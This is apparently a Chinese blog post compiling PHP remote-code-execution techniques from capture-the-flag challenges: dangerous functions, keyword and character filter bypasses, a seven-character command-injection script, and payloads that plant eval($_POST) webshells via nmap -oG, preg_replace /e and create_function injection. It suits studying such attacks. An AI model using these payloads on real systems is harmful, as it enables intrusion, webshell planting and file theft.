admin 管理员组

文章数量: 887006

rce总结,绕过手法+危险函数举例

常见RCE漏洞函数

系统命令执行函数

system():能将字符串作为OS命令执行,且返回命令执行结果;

exec():能将字符串作为OS命令执行,但是只返回执行结果的最后一行(约等于无回显);

shell_exec():能将字符串作为OS命令执行

passthru():能将字符串作为OS命令执行,只调用命令不返回任何结果,但把命令的运行结果原样输出到标准输出设备上;

popen():打开进程文件指针

proc_open():与popen()类似

pcntl_exec():在当前进程空间执行指定程序;

反引号``:反引号``内的字符串会被解析为OS命令;

代码执行函数

eval():将字符串作为php代码执行;

assert():将字符串作为php代码执行;

preg_replace():正则匹配替换字符串;

create_function():主要创建匿名函数;

call_user_func():回调函数,第一个参数为函数名,第二个参数为函数的参数;

call_user_func_array():回调函数,第一个参数为函数名,第二个参数为函数参数的数组;

可变函数:若变量后有括号,该变量会被当做函数名为变量值(前提是该变量值是存在的函数名)的函数执行;

array_map()

array_filter()

uasort()

长度限制下的命令执行-rce

七字符rce

参考:有限字符下的任意命令执行总结

​ CTF中字符长度限制下的命令执行 rce(7字符5字符4字符)汇总

源码

<?php 
highlight_file(__FILE__);
if(strlen($_GET[1]<7)){echo strlen($_GET[1]);echo '<hr/>';echo shell_exec($_GET[1]);
}else{exit('too long');
}
?>

预备知识:

a        #虽然没有输入但是会创建a这个文件
ls -t    #ls基于基于事件排序(从晚到早)
sh a     #sh会把a里面的每行内容当作命令来执行
使用\进行命令拼接      #l\ s = ls
base64    #使用base64编码避免特殊字符
#写入语句
<?php eval($_GET[1]);
#base64编码后
PD9waHAgZXZhbCgkX0dFVFsxXSk7
#需要被执行的语句:
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php

payload:

payload.txt 里的内容为:

>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0

脚本代码:

#!/usr/bin/python
# -*- coding: UTF-8 -*-
import requestsurl = "http://172.19.14.20:27444/index.php?rce={0}"
print("[+]start attack!!!")
with open("payload.txt", "r") as f:for i in f:print("[*]" + url.format(i.strip()))requests.get(url.format(i.strip()))# 检查是否攻击成功
test = requests.get("http://172.19.14.20:27444/1.php")
if test.status_code == requests.codes.ok:print("[*]Attack success!!!")

攻击完成后就会生成1.php文件

**注:**这里用的是<?php eval($_GET[1]); 不是一句话木马,不能用蚁剑链接(可能改成POST就行了,不过没有尝试)

​ 这里成功之后 http://172.19.14.20:27444/1.php?1=phpinfo(); 这样就能得到phpinfo。这个如果第一次失败了,在多尝试几次也失败了,记得关了环境重来(这个好像多弄几次失败的对环境有影响!)

关键字过滤替换

system替换

system()
passthru()
exec()
shell_exec()
popen()/proc_open()
assert()绕过:大小写,双写,/
syst‘’em,syst‘e’m

cat替换

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看more
less
head
tac
tail
nl
od
vi
vim
sort
uniq

骚操作
curl file:///flag 也行
bash -v /etc/passwd
date -f 好像可以越权读取文件

var_dump替换

var_dump
print_r
var_export

大小写绕过

php可以忽略大小写的,如果preg_match没有过滤大小写就可以

\绕过

php内的" \ "在做代码执行的时候,会识别特殊字符串,绕过黑名单

func=\system&p=find / -name flag* #绕过system过滤
c\at%20/fl\ag   绕过cat和flag

管道符: ; 实现字符串拼接

在Linux下才能使用

//(preg_match("/.*f.*l.*a.*g.*/", $ip)
实现:构造/?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php即可获取flag 注:此处将变量ab的位置互换是为了绕过字符串匹配
//;可执行多条命令,$a$b会自动字符拼接

Tab 制表符加上通配符进行绕过

注意:在 Linux 中使用 Tab (%09)键,可以实现命令补全、文件和目录名补全等。

?ip=127.0.0.1%0als%09*lag.php
相等于:ls flag.php(%09将lag.php补全了)

$GET绕过

使用$_GET绕过
原理(get参数为cmd):
?cmd=$_GET[a]();&a=phpinfo
eval()之后$_GET[a]变为:phpinfo,即phpinfo()变形:?cmd=${_GET}[a]();&a=phpinfo(_GET变为{_GET})?cmd=${_GET}{a}();&a=phpinfo ([]使用{}替换)
注:当_GET(%dd%c5%c7%d6^%82%82%82%82)使用异或代替时,  必须加上{}括起来
原因:加上{}表示分割,使%dd%c5%c7%d6^%82%82%82%82独立,不加的话$%dd%c5%c7%d6^%82%82%82%82{a}();&a=phpinfo异或符^不知道前后异或多少,会被不是%dd%c5%c7%d6^%82%82%82%82的也异或进去

extract($_POST),变量覆盖

//如果post传参为_SESSION[flag]=flag,那么$_SESSION["user"]和$_SESSION["function"]的值都会被覆盖。
<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] ='123';
echo '覆盖前:';
var_dump($_SESSION);//覆盖前:array(2) {["user"]=>string(5) "guest"["function"]=>string(3) "123"}
echo "<br>";
extract($_POST);
echo '覆盖后:';
var_dump($_SESSION);//array(1) {["flag"]=>string(4) "flag"}
?>

POST优先级高于GET($_REQUEST)

_ R E Q U E S T 是 p h p 的全局变量,主要收集 h t m l 表单的数据,在这里,它可以获取 G E T 传入的数据,也能获取 P O S T 传入的数据。有意思的是如果 G E T 和 P O S T 同时提交相同的变量, \_REQUEST是php的全局变量,主要收集html表单的数据,在这里,它可以获取GET传入的数据,也能获取POST传入的数据。有意思的是如果GET和POST同时提交相同的变量, _REQUEST是php的全局变量,主要收集html表单的数据,在这里,它可以获取GET传入的数据,也能获取POST传入的数据。有意思的是如果GET和POST同时提交相同的变量,_REQUEST只会取POST传入的数据。所以我们只要再POST没有字母的数据就ok了。

场景

if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value))  die('fxck you! I hate English!'); } 
}  
//假设我们要传入get:?debu=abc,这时会被过滤
//但是我们再在post传入一个变量名相同的变量debu=1,post优先级高于get,所以$_REQUEST接受的是debu=1,从而绕过

符号替换

空格

<,<>,${IFS},$IFS,%20(space),%09(tab),$IFS$9,$IFS$1{cat,flag.php}//用逗号实现空格功能

过滤目录分隔符(\ /)

使用 cd 命令绕过实现:
127.0.0.1;cat flag_is_here/flag_31961112137507.php
替换为:
127.0.0.1;cd flag_is_here;cat flag_31961112137507.php

命令拼接

;
|
||
&
&&
%0a(换行)
%0d(回车)//好像不行

disable_functions绕过

来自:[极客大挑战 2019]RCE ME

首先上传一句话,因为过滤了很多函数,所以这里使用

assert(eval($_POST[cmd]));url取反:
?code=(~%9E%8C%8C%9A%8D%8B)((~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6));

编码绕过

url和$_SERVER[‘QUERY_STRING’]

** S E R V E R [ ‘ Q U E R Y S T R I N G ’ ] ∗ ∗ 在读取 u r l 的时候不会对 u r l 进行解码,而 ∗ ∗ _SERVER[‘QUERY_STRING’]**在读取url的时候不会对url进行解码,而** S​ERVER[‘QUERYS​TRING’]∗∗在读取url的时候不会对url进行解码,而∗∗_GET[‘x’]**是会对url进行解码的,所以我们要把出现在黑名单中的需要用得到的字符进行url编码后再上传

场景

if(        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']))
//将关键字进行url编码绕过,如shana变为sh%61na(a的URL编码为%61)绕过

URL编码取反绕过

<?php
$a=urlencode(~'phpinfo');//必须加上~,否则不会字母转义
echo $a;
?>
//得到:%8F%97%8F%96%91%99%90
//(~%8F%97%8F%96%91%99%90)=phpinfo
//则phpinfo()=(~%8F%97%8F%96%91%99%90)()
//(flag.php)=(~(%99%93%9E%98%D1%8F%97%8F))
//highlight_file(~%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A)
//则:highlight_file(flag.php)=(~%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A)(~(%99%93%9E%98%D1%8F%97%8F))

chr()函数绕过(scandir() 获取指定目录下的文件)

原理:特殊字符也被过滤了,尝试使用chr()函数将ascii值转换为字符串进行拼接

payload:

/calc.php?%20num=var_dump(scandir(chr(46).chr(47)))//使用 . 链接scandir()  获取指定目录下的文件,返回数组
数组需要var_dump()或者print_r()函数进行打印
chr()将ascii值转换为字符串
ord()将字符转换成对应的ASCII编码值

unicode绕过

编码网站:unicode

在一些能够识别并解析Unicode的函数时,使用Unicode绕过过滤
发现Unicode编码后的内容通过json_decode可以被正常解析

符号绕过

空格

来源:[RoarCTF 2019]Easy Calc

:26885/calc.php?num=phpinfo()//当我们直接这么输入时,因为有waf,所以会显示:Forbidden被禁止的
//原理:PHP在接收URL传入的内容时,会将空格去除,将一些特殊字符转换为下划线(转换对象也包含空格)。
//这里在num传参和?之后加入一个空格就可以绕过waf
//实现::26885/calc.php?%20num=phpinfo()

科学计数法绕过

if($this->op == "2")
使用:2a不能绕过,因为这里"2"是字符串,不是数字,所以2a也不会变为数字2
使用:2e0,即使是字符串,也会自己变为数字2,成功绕过

函数漏洞

create_function函数

create_function函数注入

文章:参考

creat_function(string $agrs,string $code)
//string $agrs	声明的函数变量部分
//string $code	执行的方法代码部分
//create_function调用了eval函数的,可以执行任意代码

实例

<?php
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$databases=array('1234','4321');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));
?>
payload为:url?sort_by='"]);}phpinfo();/*相当于执行,
function niming($a,$b){
return 1 * ' . $sorter . '($a["' . $sort_by '"]);
}
phpinfo();/*
}
create_function匿名函数

匿名函数其实是有真正的名字,为%00lambda_%d(%d格式化为当前进程的第n个匿名函数,n的范围为:0~999)

实例:[SUCTF 2018]annonymous

文章:[SUCTF 2018]annonymous

<?php
$MY = create_function("","die(`cat flag.php`);");
//创建一个$MY的匿名函数,函数的作用是输出flag
//匿名函数其实是有真正的名字,为%00lambda_%d(%d格式化为当前进程的第n个匿名函数,n的范围0-999)
$hash = (openssl_random_pseudo_bytes(32));
//生成一个随机数
eval("function SUCTF_$hash(){"
."global \$MY;"."\$MY();".
"}");
//创建$hash会在eval函数中。与SUCTF拼接。形成一个新的函数名
要想拿到flag就只有调用SUCTF_XXXX随机数的函数名。或者直接调用$MY
if(isset($_GET['func_name'])){$_GET["func_name"]();die();// bin2hex()函数把ASCII字符的字符串转换为十六进制值
}
show_source(__FILE__);

payload

import requestsfor i in range(0,1000):url = ':81/?func_name=%00lambda_'+str(i)r=requests.get(url)if "flag" in r.text:print("flag:"+r.text)breakprint("Testing...")#因为n的范围为0~999,一共也没有多少可能,直接跑出来

escapeshellarg()函数和escapeshellcmd()

来源:[BUUCTF 2018]Online Tool

原理:

escapeshellarg()函数,在linux系统下,会将单引号转义成 '\'' ,用单引号将字符串括起来。escapeshellcmd()函数,在linux系统下,会将未配对的单引号等特殊符号进行转义。这样当这两个函数混合在一起使用时,就会导致,转义的单引被绕过。题目中给出的是nmap命令,拼接上我们可控的参数$host,那么就可以通过添加nmap参数执行将命令和结果写入文件的操作,写入一句话木马。nmap写入文件的参数是 -oG

payload

?host = ' <?php @eval($_POST["hack"]);?> -oG hack.php '经过两个函数处理后 ' '\\''\<\?php @eval\(\$_POST\["hack"\]\)\;\?\>  -oG hack.php '\\'''实际执行的nmap命令,那么将会在创建的目录下生成一个hack.php,一句话写入成功nmap -T5 -sT -Pn --host-timeout 2 -F  ' '\\''\<\?php @eval\(\$_POST\["hack"\]\)\;\?\>  -oG hack.php '\\'''下一步就是要访问我们写入的文件,在源代码中@mkdir($sandbox); chdir($sandbox);这里可以得知我们写入的文件在$sandbox目录下:81/b3bb21f9337284a29d8017e53b799e0a/1.php
用蚁剑连接即可找到flag。

preg_replace函数

文章:写的很好

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )翻译一下:
preg_replace (正则表达式, 替换成什么东西, 目标字符串, 最大替换次数【默认-1,无数次】, 替换次数)preg_replace 的 /e 修正符会将 replacement 参数当作 php 代码,并且以 eval 函数的方式执行,前提是 subject 中有 pattern 的匹配。

漏洞满足条件:

1./e修饰符必不可少
2.你必须让 subject 中有 pattern 的匹配。
3.可能跟php版本有关系
4.满足可变变量的条件:也就是双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果比如说 'strtolower("\1")'

实例1:

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {echo "<br >Welcome My Admin ! <br >";$pattern = $_GET[pat];$replacement = $_GET[rep];$subject = $_GET[sub];if (isset($pattern) && isset($replacement) && isset($subject)) {preg_replace($pattern, $replacement, $subject);}else{die();}}
payload:
?pat=/abc/e&rep=system('ls')&sub=abc
有/e,pat中abc和sub中abc匹配,所以rep相当于eval函数执行

实例2:

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {return preg_replace('/(' . $re . ')/ei', //有/e'strtolower("\\1")',//有双引号$str);
}
foreach($_GET as $re => $str) {echo complex($re, $str). "\n";
}
function getFlag(){@eval($_GET['cmd']);
}
?>
payload:
?\S*=${phpinfo()}
?\S*=${@eval($_POST[cmd])}
//这里的\S*不能换成别的,${}不可少,即:使用了 \S*=${}

preg_match

来源:[FBCTF2019]RCEService

JSON格式

{"cmd":"ls"}

因为putenv('PATH=/home/rceservice/jail');修改了环境变量,所以只能使用绝对路径使用cat命令,cat命令在/bin文件夹下

怎么发现的:cat命令返回空白,说明修改了环境变量,只能使用绝对路径了

多行绕过

第一种解法

因为preg_match只能匹配第一行,所以这里可以采用多行绕过。

?cmd={%0A"cmd":"ls /home/rceservice"%0A}//因为是要在/home/rceservice这个目录下的jail修改的环境变量,所以查看一下
//得到jail flag
payload:
?cmd={%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}
回溯绕过

第二种解法

就是用preg_match的回溯限制,长度为一百万,来绕过preg_match,因为当preg_match匹配的字符串太长的时候就会返回false

这道题是get提交,我们要改为POST

因为get传参是由长度限制,各个浏览器都不同,但肯定没有一百万,所以我们要用post提交

python脚本

import requestspayload = '{"cmd":"/bin/cat /home/rceservice/flag","zz":"' + "a"*(1000000) + '"}'res = requests.post(":8085/", data={"cmd":payload})
print(res.text)

例题

禁止套娃类

[GXYCTF2019]禁止套娃,新生赛:R!!C!!E!!

文章[GXYCTF2019]禁止套娃

文章写的很好 里面有各种方法,各种payload

相关的基础函数(看文章去)

目录操作:
getchwd() :函数返回当前工作目录。
scandir() :函数返回指定目录中的文件和目录的数组。
dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。数组相关的操作:
end() - 将内部指针指向数组中的最后一个元素,并输出。
next() - 将内部指针指向数组中的下一个元素,并输出。
prev() - 将内部指针指向数组中的上一个元素,并输出。
reset() - 将内部指针指向数组中的第一个元素,并输出。
each() - 返回当前元素的键名和键值,并将内部指针向前移动。
array_shift() - 删除数组中第一个元素,并返回被删除元素的值。读文件
show_source() - 对文件进行语法高亮显示。
readfile() - 输出一个文件。
highlight_file() - 对文件进行语法高亮显示。
file_get_contents() - 把整个文件读入一个字符串中。
readgzfile() - 可用于读取非 gzip 格式的文件

关键函数(看文章,有很多种payload)

getallheaders():获取所有 HTTP 请求标头,是apache_request_headers()的别名函数,但是该函数只能在Apache环境下使用getenv() :获取环境变量的值(在PHP7.1之后可以不给予参数)适用于:php7以上的版本get_defined_vars():返回由所有已定义变量所组成的数组,会返回_GET,GET,_POST,_COOKIE,COOKIE,_FILES全局变量的值,返回数组顺序为get->post->cookie->files
current():返回数组中的当前单元,初始指向插入到数组中的第一个单元,也就是会返回$_GET变量的数组值session_start():启动新会话或者重用现有会话,成功开始会话返回 TRUE ,反之返回 FALSE,返回参数给session_id()
session_id():获取/设置当前会话 ID,返回当前会话ID。 如果当前没有会话,则返回空字符串(””)。

实现1:

?exp=print_r(scandir(pos(localeconv())));localeconv(),回显数组,第一个数组是字符"."点号
pos(),传入数组,回显第一个数组的值,pos可以用current代替
所以pos(localeconv())等价于.号
而函数scandir(.)意思是以数组的形式回显当前目录下的所有文件
再配合print_r函数输出数组

得到

Array ( [0] => . [1] => .. [2] => .git [3] => flag.php [4] => index.php ) ?exp=show_source(next(array_reverse(scandir(current(localeconv())))));array_reverse()函数以相反的元素顺序返回数组。
next()函数讲内部指针指向数组中的下一个元素//类似的函数:.asp

实现2:

利用session_id代替flag.php

方法就是先用cookie传参来设置session_id的值,session_id的值等于cookie中PHPSESSID的值,所以构建cookie头

Cookie: PHPSESSID=flag.php

在PHP中,session通常不会手动开启,需要利用php函数session_start来开启,所以可以构造payload

?exp=show_source(session_id(session_start()));

用burpsuite抓包写入cookie头

Nmap

原理:其实都是利用了escapeshellarg()函数和escapeshellcmd()函数的组合漏洞

一句话木马写入

' <? echo @eval($_POST["a"]);?> -oG coleak.phtml '
' <?= @eval($_POST[7]); ?> -oG mc.phtml '

iL来读取flag,然后输出到指定文件,访问该文件进行读取

127.0.0.1' -iL /flag -o coleak          //访问coleak文件后面加一个单引号,及coleak'访问::81/coleak'

math类

题目:[CISCN 2019 初赛]Love Math

函数利用

base_convert :在任意的进制之间转换数字dechex() :把十进制转换为十六进制hex2bin :把十六进制值的字符串转换为 ASCII 字符

payload

c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){cos})&pi=system&cos=cat /flag

payload解释

<?php
$a= base_convert(37907361743,10,36);
echo $a; /输出为hex2bin ,及37907361743时十进制,转化为36进制为hex2bin
?>
所以:base_convert(37907361743,10,36)=>"hex2bin",dechex(1598506324)=>"5f474554",hex2bin("5f474554")=>_GETdechex(1598506324)=>"5f474554"  因为有f检测,这里绕过了f因为
$a = 'b';
$b = 123;
echo $$a;//输出123所以可以用$$pi来表示$_GET
然后可以用{}来代替[]。
则构造:c=($_GET[a])($_GET[b])&a=system&b=cat /flag

本文标签: rce总结,绕过手法危险函数举例